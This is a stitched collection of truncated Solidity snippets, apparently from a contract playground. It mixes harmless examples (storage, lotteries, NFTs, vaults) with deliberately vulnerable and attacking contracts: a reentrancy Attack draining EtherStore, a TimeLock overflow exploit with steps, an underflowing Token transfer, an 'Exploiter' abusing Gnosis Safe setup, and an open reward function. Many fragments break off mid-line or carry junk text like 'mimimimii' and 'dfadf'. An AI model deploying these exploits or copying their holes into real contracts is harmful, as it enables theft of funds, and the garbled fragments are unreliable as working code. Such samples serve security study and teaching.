//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  mimimimii

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient f

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
              

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
dfadf  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  do stuff

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;

contract Auction {
  address payable owner;
  
  struct item {
    string item_name;
    uint price;
    address payable highest_bidder;
  }

  item public auctioned_item;
  mapping(address => uint) public account_balances;

  modifier ownerOnly() {
    require(msg.sender == owner);
    _;
  }

  constructor() public {
    owner = msg.sender;
  }

  function setAuctionedItem(string memory _item, uint _price) public ownerOnly {
    auctioned_item = item(_item, _price, address(0));
  }

  function finishAuction() public ownerOnly {

  }

  function bid() public payable {

  }

  function withdraw() public {
    owner.transfer(auctioned_item.price);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {
    
    uint num1 = 2; 
    uint num2 = 4;
  
   function getResult(
   ) public view returns(
     uint product, uint sum){
       uint num1 = 10;
       uint num2 = 16;
      product = num1 * num2;
      sum = num1 + num2; 
   }

   

pragma solidity ^0.4.18;

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}

// SPDX-License-Identifier: GPL-3.0-only

pragma solidity 0.6.4;

import "./EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) public{
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      //etherStore.depositFunds{value:1 ether}();
      // start the magic
      etherStore.withdrawFunds(msg.value);
  }

  function collectEther() public {
      payable(msg.sender).transfer(address(this).balance);
  }

  // fallback function - where the magic happens
   receive() payable external {
      if (address(etherStore).balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }

// SPDX-License-Identifier: GPL-3.0-only

pragma solidity 0.6.4;

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        (bool success, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(success);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
 

Ejemplos de contratos  : 
pragma solidity 0.8.7;
contract VendingMachine {
    // Declarar las variables del estado del contrato
    address public owner;
    mapping (address => uint) public cupcakeBalances;
    // Cuando se implementa el contrato "VendingMachine":
    // 1. configurar la dirección de implantación como el propietario del contrato
    // 2. configurar el saldo de magdalenas del contrato inteligente implementado en 100
    constructor() {
        owner = msg.sender;
        cupcakeBalances[address(this)] = 100;
    }

    // Permitir que el propietario aumente el saldo de magdalenas del contrato inteligente
    function refill(uint amount) public {
        require(msg.sender == owner, "Only the owner can refill.");
        cupcakeBalances[address(this)] += amount;
    }

    // Permitir que cualquier persona compre magdalenas
    function purchase(uint amount) public payable {
        require(msg.value >= amount * 1 ether, "You must pay at least 1 ETH per cupcake");
        require(cupcakeBa

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SampleOverflow {
     string constant statictext = \"HelloStackOverFlow\";
     bytes32 constant byteText = \"HelloStackOverFlow\";
    function  getString() payable public  returns(string){
        return statictext;
    }

     function  getByte() payable public returns(bytes32){
        return byteText;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(address operator) public {
    value = uint16(uint160(operator));
  }

  function get() public constant returns (int) {
    return value;
  }

  int value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint tst;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

pragma solidity 0.4.18;

contract ForceEther {

  bool youWin = false;

  function onlyNonZeroBalance() {
      require(this.balance > 0); 
      youWin = true;
  }
  // throw if any ether is received
  function() payable {
    revert();
  }
         

//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
/* SPDX-License-Identifier: UNLICENSED */
pragma solidity >=0.7.0 <=0.8.0;

// implements the ERC721 standard
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// keeps track of the number of tokens issued
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// Accessing the Ownable method ensures that only the creator of the smart contract can interact with it
contract METABILDNFT is ERC721, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    
    // the name and symbol for the NFT
    constructor() public ERC721("METABILD", "META") {}

    // Create a function to mint/create the NFT
   // receiver takes a type of address. This is the wallet address of the user that should receive the NFT minted using the smart contract
    // tokenURI takes a string that contains metadata about the NFT

    function createNFT(address receiver, string 

//SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
 
contract Lottery {
   event TicketPurchased(address who);
   event WinnerPicked(address who, uint256 reward);
  
   uint256 private immutable i_ticketPrice;
   uint256 private immutable i_endTime;
  
   address[] players;
  
   constructor() {
       i_ticketPrice = 1e18; //1000000000000000000 = 1 ETH
       i_endTime = block.timestamp + 180;
   }
 
   function buyTicket() external payable {
       require(block.timestamp <= i_endTime, "Lottery has ended");
       require(msg.value == i_ticketPrice, "Wrong purchase");
      
       players.push(msg.sender);
 
       emit TicketPurchased(msg.sender);
   }
 
   function pickWinner() external {
       require(block.timestamp > i_endTime);
 
       uint256 winnerIndex =  uint256(keccak256(abi.encodePacked(block.timestamp, players.length, block.number))) % players.length;
       address payable winner = payable(players[winnerIndex]);
       uint256 reward = address(this).balance;
 
       (bool sucess, ) = wi

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract HelloWorld {

  function sayHello() public pure returns (string) {
    return "HelloWorld..!!";
  }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract NFTToken is ERC721URIStorage {

    uint public _tokenIds; 
    
    constructor(string memory TokenName, string memory TokenSymbol) ERC721(TokenName, TokenSymbol) {

    }

    function mintNewToken(string memory tokenURI) public returns (uint256){
        uint256 newItemId = _tokenIds;
        _mint(msg.sender, newItemId);
        _setTokenURI(newItemId, tokenURI);
        _tokenIds++;
        return newItemId;
    }
}

contract NFTTokenFactory {

    struct CreatedContract {
        NFTToken token;
        address creator;
        string symbol;
        string name;
    }

    CreatedContract[] public createdContracts;
    uint public createdContractCount;

    event tokenCreated(address indexed contractAddress, string tokenName, string TokenSymbol);

  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.21 <0.7.0;


contract RewardsWallet {

  function _msgSender() internal view returns (address) {
      return msg.sender;
  }

  function _msgData() internal view returns (bytes) {
      this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
      return msg.data;
  }

  // Proof-of-Concept logic for Trublo
  // Not to be used in production!!!
  mapping (address => uint256) private _reward_balances;
  mapping (address => uint256) private _penalty_balances;

  // Dangerous function, anyone can reward themselves
  // - do not use _msgSender()
  // - make method internal (now public for easy demo purposes)
  function reward(uint256 amount) public returns (bool) {
      // require(recipient != address(0), "ERC20: transfer to the zero address");
      _reward_balances[_msgSender()] = _reward_balances[_msgSender()] + amount;
      // mayb

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.21 <0.7.0;


contract RewardsWallet {

  function _msgSender() internal view returns (address) {
      return msg.sender;
  }

  function _msgData() internal view returns (bytes) {
      this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
      return msg.data;
  }

  // Proof-of-Concept logic for Trublo
  // Not to be used in production!!!
  mapping (address => uint256) private _reward_balances;
  mapping (address => uint256) private _penalty_balances;

  // Dangerous function, anyone can reward themselves
  // - do not use _msgSender()
  // - make method internal (now public for easy demo purposes)
  function reward(uint256 amount) public returns (bool) {
      // require(recipient != address(0), "ERC20: transfer to the zero address");
      _reward_balances[_msgSender()] = _reward_balances[_msgSender()] + amount;
      // mayb

/**
 *Submitted for verification at BscScan.com on 2022-05-20
*/

// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; 
pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This valu

pragma solidity ^0.5.0;
contract Decentragram {
  string public name;
  uint public questionCount=0;
  uint public modelCount=0;
  mapping(uint => Question) public question;
  mapping(uint => Model) public model;
  mapping(uint => mapping(address => bool)) public voter;
  //mapping(uint => uint) public linkModelQuestion; 


struct Question {
    string text; // for question
    uint id;
    string hash; //for csv file dataset
    address payable author;
  }

  struct Model{
    uint id;
    //uint qId;  
    uint vote;
    string hash;
    string description;
    string quesModelId;
    address payable author;
  }

  event QuestionCreated(
    uint id,
    string hash,
    string text,
    address payable author
  );

  event ModelCreated(
    uint id,
    //uint qId,
    uint vote,
    string hash,
    string description,
    string quesModelId,
    address payable author
  );

  event Voting(
    uint id,
    string hash,
    string description,
    uint vote
  );

  constructor() public {
  name="Decentrag

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;kill

//SPDX-Licence-Identifier: MIT
pragma solidity 0.8.7;

contract Lottery {
    event TicketPurchased(address who);
    event WinnerPicked(address who, uint256 reward);

    uint256 immutable i_ticketPrice;
    uint256 immutable i_startBlock;
    uint256 immutable i_endBlock;

    address[] players;

    constructor(uint256 _ticketPrice, uint256 lotteryDurationInBlocks) {
        i_ticketPrice = _ticketPrice;
        i_startBlock = block.number;
        i_endBlock = block.number + lotteryDurationInBlocks;
    }

    function buyTicket() external payable {
        require(block.number < i_endBlock, "Lottery has ended");
        require(msg.value == i_ticketPrice, "Wrong purchase");

        players.push(msg.sender);

        emit TicketPurchased(msg.sender);
    }

    function pickWinner() external {
        require(block.number > i_endBlock);

        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(block.timestamp, players.length, block.number)
            )
        ) % p

// File: contracts/swap/interfaces/IFluxSwapCallee.sol



//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;

interface IFluxSwapCallee {
    function fluxSwapCall(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

// File: contracts/swap/interfaces/IERC20.sol



//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;

interface IERC20 {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
     

/**
 *Submitted for verification at BscScan.com on 2021-03-22
*/

/**
 *Website: https://bnbMiner.finance
*/

pragma solidity ^0.4.26; // solhint-disable-line

contract BNBTest{
    //uint256 EGGS_PER_MINERS_PER_SECOND=1;
    uint256 public EGGS_TO_HATCH_1MINERS=2592000;//for final version should be seconds in a day
    uint256 PSN=10000;
    uint256 PSNH=5000;
    bool public initialized=false;
    address public ceoAddress;
    address public ceoAddress2;
    mapping (address => uint256) public hatcheryMiners;
    mapping (address => uint256) public claimedEggs;
    mapping (address => uint256) public lastHatch;
    mapping (address => address) public referrals;
    uint256 public marketEggs;
    constructor() public{
        ceoAddress=msg.sender;
        ceoAddress2=address(0xaA31F5dBaa6f841D494396dde1bCeEeeE912C442);
    }
    function hatchEggs(address ref) public{
        require(initialized);
        if(ref == msg.sender) {
            ref = 0;
        }
        if(referrals[msg.sender]==0 && referral

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong

pragma solidity ^0.8.0;

import './interfaces/IERC20.sol';
import './interfaces/IPancakePair.sol';
import './interfaces/IPancakeRouter.sol';
import './interfaces/IPancakeFactory.sol';

import './libs/Ownable.sol';
import './libs/Lockable.sol';

contract YieldFarmingWithoutMinting is Ownable, Lockable {
 /**
     * Dev: owner or Creater can deposit Revards tokens.
     **/
    function depositRevards(uint256 farmId, uint256 amount) external {
        Farm storage farm = _farms[farmId];
        require(_msgSender() == owner() || _msgSender() == farm.creator, 'Only owner or creator can update this farm');
        farm.revardsValue += amount;
        farm.token.transferFrom(_msgSender(), address(this), amount);
    }

    /**
     * Dev: owner or Creater can withdrawal Revards tokens.
     **/
    function withdrawalRevards(uint256 farmId, uint256 amount) external onlyOwner {
        Farm storage farm = _farms[farmId];
        farm.revardsValue -= amount;
        farm.token.transfer(_msgSender(), amount);
    }

// The cut part of the code
pragma solidity ^0.6.12;

import "./Context.sol";
import "./SafeMath.sol";
import "./Ownable.sol";
import "../interfaces/IERC20.sol";

abstract contract ReflectToken is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcluded;
    address[] private _excluded;

    uint8 private constant _decimals = 18;
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructo

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value1) public {
    value = _value1;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// File: contracts/exchange/interfaces/IFluxSwapCallee.sol

pragma solidity >=0.5.0;

interface IFluxSwapCallee {
    function fluxSwapCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/exchange/interfaces/IERC20.sol

pragma solidity >=0.5.0;

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFr

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

contract Contract is Ownable, IERC20, ReentrancyGuard {
    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint256 private _decimals;
    uint256 private _tTotal;

    address public walletLiquidity;
    address public walletTokens;
    address payable public

use anchor_lang::prelude::*;
use mpl_token_metadata::{instruction::set_and_verify_collection, utils::assert_derivation};
use solana_program::{
    program::invoke_signed, sysvar, sysvar::instructions::get_instruction_relative,
};

use crate::{cmp_pubkeys, CM, CollectionPDA};

/// Sets and verifies the collection during a  mint
#[derive(Accounts)]
pub struct SetCollectionDuringMint<'info> {
    #[account(has_one = authority)]
    candy_machine: Account<'info, CM>,
    /// CHECK: account checked in CPI/instruction sysvar
    metadata: UncheckedAccount<'info>,
    payer: Signer<'info>,
    #[account(mut, seeds = [b"collection".as_ref(), candy_machine.to_account_info().key.as_ref()], bump)]
    collection_pda: Account<'info, CollectionPDA>,
    /// CHECK: account constraints checked in account trait
    #[account(address = mpl_token_metadata::id())]
    token_metadata_program: UncheckedAccount<'info>,
    /// CHECK: account constraints checked in account trait
    #[account(address = sysvar::instructions::id())]

// SPDX-License-Identifier: MIT

import "./BEP20.sol";

pragma solidity 0.6.12;

/**
 * @title Roles
 * @dev Library for managing addresses assigned to a Role.
 */
library Roles {
    struct Role {
        mapping (address => bool) bearer;
    }

    /**
     * @dev Give an account access to this role.
     */
    function add(Role storage role, address account) internal {
        require(!has(role, account), "Roles: account already has role");
        role.bearer[account] = true;
    }

    /**
     * @dev Remove an account's access to this role.
     */
    function remove(Role storage role, address account) internal {
        require(has(role, account), "Roles: account does not have role");
        role.bearer[account] = false;
    }

    /**
     * @dev Check if an account has this role.
     * @return bool
     */
    function has(Role storage role, address account) internal view returns (bool) {
        require(account != address(0), "Roles: account is the zero address");
        return role.bearer[acco

// SPDX-License-Identifier: MIT

import "./BEP20.sol";

pragma solidity 0.6.12;

/**
 * @title Roles
 * @dev Library for managing addresses assigned to a Role.
 */
library Roles {
    struct Role {
        mapping (address => bool) bearer;
    }

    /**
     * @dev Give an account access to this role.
     */
    function add(Role storage role, address account) internal {
        require(!has(role, account), "Roles: account already has role");
        role.bearer[account] = true;
    }

    /**
     * @dev Remove an account's access to this role.
     */
    function remove(Role storage role, address account) internal {
        require(has(role, account), "Roles: account does not have role");
        role.bearer[account] = false;
    }

    /**
     * @dev Check if an account has this role.
     * @return bool
     */
    function has(Role storage role, address account) internal view returns (bool) {
        require(account != address(0), "Roles: account is the zero address");
        return role.bearer[acco

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract MyPaymentProcessor {
// Events:
    event NewPayment(uint indexed index, address indexed sender, uint amount);

// Fields:
    mapping(address => uint) public _balances;
    uint public _paymentsCount = 0;

    // TODO: use OpenZeppelin's Ownable instead! Just an example 
    address _owner;

// Methods:
    constructor() public {
      // TODO: need a function to change an owner
      _owner = msg.sender;
    }

    // This is a fallback function 
    // it is automatically called each time anyone sends ether to this contract 
    // will keep all the Ether in the contract until you call a withdaw() function
    function() public payable {
        // TODO: process multiple payments
        // 0 - check if user haven't sent us money before
        require(_balances[msg.sender]==0, "Can not process payment: please dont send again");

        // 1 - update user's balance
        _balances[m

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract MyPaymentProcessor {
// Events:
    event NewPayment(uint indexed index, address indexed sender, uint amount);

// Fields:
    mapping(address => uint) public balances;
    uint public paymentsCount = 0;

    // TODO: use OpenZeppelin's Ownable instead! Just an example 
    address _owner;

// Methods:
    constructor() public {
      // TODO: need a function to change an owner
      _owner = msg.sender;
    }

    // This is a fallback function 
    // it is automatically called each time anyone sends ether to this contract 
    // will keep all the Ether in the contract until you call a withdaw() function
    function() public payable {
        // TODO: process multiple payments
        // 0 - check if user haven't sent us money before
        require(balances[msg.sender]==0, "Can not process payment: please dont send again");

        // 1 - update user's balance
        balances[msg.s

pragma solidity ^0.4.24;

contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }

    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }

    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }

    function safeDiv(uint a, uint b) public pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}

contract ERC20Interface {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint 

contract Executor {
    function execute(address to, bytes calldata data, uint256 gas) external {
        (bool success, bytes memory returnData) = to.call.gas(gas)(data);
        // do something
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    if (value == 0){
      return 0;
    }
    return value;
  }

  uint value;

pragma solidity 0.4.18;


contract WhiteListValidatorExample {
    mapping (address => bool) private verifiedWhitelist;

    function setProfPubKey(address addr, bool value) public {
        // Gate permission to Dathan.eth and Ryave send awards until better validation is implemented
        require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
        verifiedWhitelist[addr] = value;
    }

    function isVerifiedProfPubKey(address addr) public view returns (bool) {
        return verifiedWhitelist[addr];
    }

    function sendTheThing() public view returns (bool) {
        require(isVerifiedProfPubKey(msg.sender));
        return true;
    }

pragma solidity 0.4.18;


contract WhiteListValidatorExample {
    mapping (address => bool) private verifiedWhitelist;

    function setProfPubKey(address addr, bool value) public {
        // Gate permission to send awards until better validation is implementation
        require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
        verifiedWhitelist[addr] = value;
    }

    function isVerifiedProfPubKey(address addr) public view returns (bool) {
        return verifiedWhitelist[addr];
    }

    function sendTheThing() public view returns (bool) {
        require(isVerifiedProfPubKey(msg.sender));
        return true;
    }

pragma solidity >=0.7.0 <0.9.0;

contract Codes {

    mapping(string => string) private codes;

    function store(string calldata code, string calldata ipfs) public {
        codes[code] = ipfs;
    }

    function retrieve(string calldata code) public view returns (string memory) {
        return codes[code];
    }

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.5.3;

import "./GnosisSafeProxyFactory.sol";
import "./GnosisSafeMasterCopy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol";

contract Exploiter {
    Proxy proxy;
    ProxyFactory proxyFactory;
    address owner;

    constructor(address _proxyFactory) public{
        owner = msg.sender;
        proxyFactory = ProxyFactory(_proxyFactory);
    }

    modifier onlyOwner() {
      require(msg.sender == owner);   
      _;
    }

    function createMultisig(address _masterCopy, address _token) public onlyOwner returns(address){
        address[] memory owners = new address[](1);
        owners[0] = owner;
        bytes memory callApprove =  abi.encodeWithSignature(
            "approve(address,address)",
            _token,
            address(this)
        );

        bytes memory data = abi.encodeWithSignature(
            "setup(address[],uint256,address,bytes,address,address,uint256,addr

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

import {ERC20} from "../tokens/ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";

/// @notice Minimal ERC4626 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
abstract contract ERC4626 is ERC20 {
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Deposit(
        address indexed caller,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );

    event Withdraw(
        address indexed caller,
        address indexed receiver,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );

    /*///////////////////

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;

import {Auth} from "solmate/auth/Auth.sol";
import {ERC4626} from "solmate/mixins/ERC4626.sol";

import {SafeCastLib} from "solmate/utils/SafeCastLib.sol";
import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";

import {WETH} from "solmate/tokens/WETH.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {Strategy, ERC20Strategy, ETHStrategy} from "./interfaces/Strategy.sol";

/// @title Rari Vault (rvToken)
/// @author Transmissions11 and JetJadeja
/// @notice Flexible, minimalist, and gas-optimized yield
